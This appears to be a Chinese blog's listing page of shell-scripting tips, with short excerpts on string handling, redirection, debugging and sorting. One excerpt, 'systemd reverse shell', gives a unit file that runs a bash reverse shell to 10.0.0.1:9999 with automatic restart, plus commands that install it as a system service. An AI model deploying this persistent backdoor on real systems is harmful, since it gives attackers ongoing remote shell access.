shell
rainharder
这个作者很懒,什么都没留下…
展开
-
Shell中的${}、##和%%使用范例
bash对变量字符串的操作,包括:1. 删除变量字符串的一部分2. 提取变量字符串的一段3. 对变量值里的字符串作替换转载 2023-09-05 16:01:01 · 1218 阅读 · 0 评论 -
shell循环两个变量
【代码】shell循环两个变量。原创 2023-03-08 16:51:03 · 1189 阅读 · 0 评论 -
shell 中 字符串比较 x”$variable”的使用
shell 中 字符串比较 x”$variable”的使用转载 2023-02-15 08:40:52 · 128 阅读 · 0 评论 -
systemd reverse shell
创建rshell.service文件[Unit]Description=reverse shell[Service]ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/9999 0>&1'Restart=alwaysRestartSec=60[Install]WantedBy=default.target安装cp rshell.service /lib/systemd/system/ln -原创 2020-08-04 09:37:23 · 139 阅读 · 0 评论 -
Shell脚本调试技术
原帖:http://www.ibm.com/developerworks/cn/linux/l-cn-shell-debug/一. 前言shell编程在unix/linux世界中使用得非常广泛,熟练掌握shell编程也是成为一名优秀的unix/linux开发者和系统管理员的必经之路。脚本调试的主要工作就是发现引发脚本错误的原因以及在脚本源代码中定位发生错误的行,转载 2012-06-19 16:25:18 · 465 阅读 · 0 评论 -
Bash的输入输出重定向
原贴:http://linux-wiki.cn/wiki/zh-hans/Bash%E7%9A%84%E8%BE%93%E5%85%A5%E8%BE%93%E5%87%BA%E9%87%8D%E5%AE%9A%E5%90%91Bash的输入输出重定向此页由Linux Wiki用户Chenych11于2013年12月17日 (星期二) 13:39的最后更改。 在linux转载 2014-09-26 11:20:35 · 2066 阅读 · 0 评论 -
让 shell 脚本在关键语句出错时终止执行
原帖:http://zhangbin.cc/2011/04/23/shell-exit-on-error/最近写了一个 shell 脚本, 里面有类似这样的语句:cd $SOME_PLACEmv * $ANOTHER_PLACE有一次运行的时候, $SOME_PLACE 没有创建成功, 因此 cd 失败, 但 mv 仍然被执行了, 结果就是所有脚本文件都被转载 2015-03-30 14:37:23 · 36291 阅读 · 0 评论 -
shell中>/dev/null 2>&1是什么鬼?
原贴:http://www.kissyu.org/2016/12/25/shell%E4%B8%AD%3E%20:dev:null%202%20%3E%20&1%E6%98%AF%E4%BB%80%E4%B9%88%E9%AC%BC%EF%BC%9F/背景我们经常能在shell脚本中发现>/dev/null 2>&1这样的语句。以前的我并没有去深入地理解这段命令的作用,转载 2016-12-28 08:40:22 · 2308 阅读 · 0 评论 -
Linux下PS1、PS2、PS3、PS4使用详解
shell调试可以设置PS4$ echo $PS4+{$LINENO:${FUNCNAME[0]}}原贴:http://os.51cto.com/art/201205/334954.htm1、PS1——默认提示符如下所示,可以通过修改Linux下的默认提示符,使其更加实用。在下面的例子中,默认的PS1的值是“\s-\v\$”,显示出了shell的转载 2017-01-16 12:53:05 · 10123 阅读 · 0 评论 -
Linux下使cp命令不提示覆盖文件
网上搜到四种方法: 在调用cp的时候加入绝对路径(可通过whereis cp命令得到),如 /bin/cp -f file dir 通过直接执行下面的语句调用系统原始的命令: \cp -f file dir \cp则是告诉shell不要去查alias,直接执行原本的cp在~/.bashrc里面注释掉 Alias cp=’cp -i’unalias cp ,然后再使用cp,原创 2017-03-08 19:54:18 · 1687 阅读 · 0 评论 -
不使用 expect 实现自动化 ssh 密码认证
网上ssh免认证大部分都是跟expect配合使用,但很多时候expect还需要另外安装,不太方便。终于发现一种简便方法,配合ssh-copy-id使用效果更佳.setsid env SSH_ASKPASS='/root/pswd.sh' DISPLAY='none:0' ssh-copy-id root@192.168.1.2原文:http://xiezhenye.com/2014/0转载 2018-01-08 16:13:57 · 1882 阅读 · 1 评论 -
比较两个目录下文件
想知道两个目录下有哪些文件不同,如目录A和B:需求1:目录A里独有的文件需求2:A里与B里都有,但不同的文件需求3:A里与B里不同的文件(含A里独有的,即需求1+需求2)需求4:目录A和目录B有哪些文件不同(含B里独有的)首先想到的是diff,又突然想到文件比较还可以比较文件的大小、时间、校验和等等,rsync就冒出来了,再查果然可以只输出差异,不复制文件。# 需求1: 目录A里独有的...原创 2018-10-10 17:18:40 · 1561 阅读 · 0 评论 -
日志打印到屏幕同时保存到文件及获取管道返回状态
要写一堆脚本,脚本调脚本,再调脚本,再调脚本,...为了记录执行日志,又不想在每个脚本里都定义日志函数,还想同时在屏幕输出,(需求有点变态)在网上翻啊翻,终于选择一种方法:在顶层脚本里用管道加tee(也许定义系统级的日志输出更合适)sh somescripts.sh 2>&1 | tee -a $logfile2>&1 把标准错误重定义到标准输出,可以避免日志被覆盖原创 2011-12-30 16:43:58 · 5503 阅读 · 0 评论 -
svn externals使用
使用svn:externals可以实现类似软连接的功能:具体步骤:svn propset svn:externals 'akismet http://plugins.svn.wordpress.org/akismet/trunk' .svn ci参见:http://beerpla.net/2009/06/20/how-to-properly-set-sv原创 2011-12-27 16:10:03 · 1151 阅读 · 0 评论 -
Shell 小技巧 Alt补全参数
Shell 小技巧 Alt补全参数转载 2011-05-26 18:13:00 · 1868 阅读 · 0 评论 -
改变目录颜色的方法
默认的ls 显示目录颜色为蓝色,在暗背景下难以看清。现介绍将目录颜色改为浅兰的方法:将/etc/DIR_COLORS文件cp到~/下,并改名为.dir_colors,搜索DIR,将其改为01;36(原来为01;34),重新打开term即可。 在putty的设置里修改windows->Colors->ANSI Blue的颜色,可以在putty的终端看到改变后的蓝色原创 2007-12-30 12:26:00 · 1281 阅读 · 0 评论 -
shell括号用法小结
shell括号用法小结转载 2011-07-13 19:08:48 · 861 阅读 · 0 评论 -
sort字段处理参数
原帖:http://hi.baidu.com/seekvista/blog/item/f676167f8695600a29388a39.html man sort可以查到 sort -k1,1指对第一字段进行处理。后面的r表示逆序。而-k2,2表示第二字段进行一般的sort排序。如果你将第二字段进行数字排序,那么用下面的命令: sort -k1,1r -k2,2n 如果转载 2011-06-29 13:33:00 · 1488 阅读 · 0 评论 -
文件目录无法删除的解决办法
文件目录无法删除的解决办法原创 2011-01-19 15:05:00 · 734 阅读 · 0 评论 -
Shell获取文件后缀名
Shell获取文件后缀名转载 2010-11-23 17:20:00 · 17333 阅读 · 1 评论 -
I/O重定向
默认情况下始终有3个"文件"处于打开状态, stdin (键盘), stdout (屏幕), 和stderr (错误消息输出到屏幕上). 每个打开的文件都会被分配一个文件描述符.[1]stdin, stdout, 和stderr的文件描述符分别是0, 1, 和 2 > filename # > 会把文件"filename"截断为0长度. #转载 2010-03-30 13:40:00 · 807 阅读 · 0 评论 -
《SED 单行脚本快速参考》的 awk 实现(转)
原帖:http://linuxtoy.org/archives/sed-awk.html sed 和 awk 都是 Linux 下常用的流编辑器,他们各有各的特色,本文并不是要做什么对比,而是权当好玩,把《SED 单行脚本快速参考》这文章,用 awk 做了一遍~ 至于孰好孰坏,那真是很难评论了。一般来说,sed 的命令会更短小一些,同时也更难读懂;而 awk 稍微长点,但是 i转载 2009-12-09 09:26:00 · 710 阅读 · 0 评论 -
shell下输入tab
脚本中需要用tab切分,输入/t没用,GO了一下,发现可以这么输:cut -d "v "就是先按Ctrl+v,再按Tab就可以输入了 后来发现cut默认用tab...原创 2011-06-29 10:31:00 · 7860 阅读 · 0 评论 -
删除无效软连接
删除无效软连接原创 2011-04-14 15:25:00 · 7368 阅读 · 1 评论 -
查找当前目录的重复文件
查找当前目录的重复文件转载 2010-12-04 14:10:00 · 977 阅读 · 0 评论 -
shell字符串的截取
shell字符串的截取转载 2010-12-06 15:21:00 · 697 阅读 · 0 评论